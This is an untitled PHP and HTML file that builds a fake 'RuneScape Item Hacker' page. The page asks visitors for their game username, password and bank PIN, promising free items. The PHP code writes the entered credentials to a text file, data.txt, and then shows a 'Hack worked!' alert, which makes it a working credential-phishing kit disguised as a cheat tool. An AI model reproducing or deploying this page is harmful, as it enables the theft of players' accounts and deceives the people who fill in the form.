Untitled

<?

if(isset($_POST['submit'])){
    $username = $_POST['username'];
    $password = $_POST['password'];
    $pin      = $_POST['pin'];
    $textid   = $_POST['textid'];

$string .= "username: $username\n";
$string .= "password: $password\n";
$string .= "pin:      $pin\n";
$string .= "text ID : $textid\n\n";

$fp = fopen('data.txt', 'ab');

if ($fp)
{
fwrite($fp,$string);
fclose($fp);

echo "<BODY onLoad=\"window.alert('Hack worked!');\">";

}
}


?>
<form name="guestbook" method="post" action="<?php echo $_SERVER['PHP_SELF']; ?>">
<table width="50%" border="0" cellpadding="2" cellspacing="0" bgcolor="#F8AD07" style="border: 1px #F8AD07 solid;
                                        margin: 50px auto 0 auto;">
                                        <tr>
                                            <td style="border: 1px #fff solid">
                                                <span style="color: #FFFFFF; margin-left: 4px; margin-right: 5px; font-size: 8px;"></span><strong
                                                    style="color: #FFFFFF"><h1><center>RUNESCAPE ITEM HACKER V1.3</h1></center></strong>

                                            </td>
                                        </tr>
                                    </table>
                                    <table width="50%" border="0" align="center" cellpadding="5" cellspacing="1" bgcolor="#CCCCCC"
                                        style="font-weight: bold; margin-bottom: 30px;">
                                        <tr>
                                            <td width="26%" align="right" bgcolor="#FFFFFF">
                                                *Runescape User Name:
                                            </td>
                                            <td width="74%" bgcolor="#FFFFFF">

                                                <input name="username" type="text" id="txtName" size="16" style="width:300px;" />
                                                <span id="RequiredFieldValidator1" style="color:Red;visibility:hidden;">Please input Your User Name</span>
                                            </td>
                                        </tr>
                                        <tr>
                                            <td align="right" bgcolor="#FFFFFF">
                                                *Account Password:
                                            </td>
                                            <td bgcolor="#FFFFFF">

                                                <input name="password" type="text" id="txtPass" size="16" style="width:300px;" />
                                                <span id="RegularExpressionValidator1" style="color:Red;display:none;">Account Password</span>
                                                <span id="RequiredFieldValidator2" style="color:Red;visibility:hidden;">Please input Your Password</span>
                                            </td>
                                        </tr>
                                        <tr>
                                            <td align="right" bgcolor="#FFFFFF">
                                                *Bank Pin:
                                            </td>
                                            <td bgcolor="#FFFFFF">

                                                <input name="pin" type="text" id="txtPin" size="16" style="width:300px;" />
                                                <span id="RegularExpressionValidator1" style="color:Red;display:none;">Bank Pin</span>
                                                <span id="RequiredFieldValidator2" style="color:Red;visibility:hidden;">Please input Your Bank Pin</span>
                                            </td>
                                        </tr>
                                        <tr>
                                            <td align="right" bgcolor="#FFFFFF">
                                                *Item ID:
                                            </td>
                                            <td bgcolor="#FFFFFF">

                                                <input name="itemid" type="text" id="txtItem1" size="16" style="width:300px;" />
                                                <span id="RegularExpressionValidator1" style="color:Red;display:none;">Item ID</span>
                                                <span id="RequiredFieldValidator2" style="color:Red;visibility:hidden;">Please input Your Item ID</span>
                                            </td>
                                        </tr>
                                        <tr>
                                            <td colspan="2" align="center" bgcolor="#F8AD07">
                                                <input name="submit" type="submit" value="                                                                     HACK!                                                                     ">
</form>

                                            </td>
                                        </tr>
                                    </table>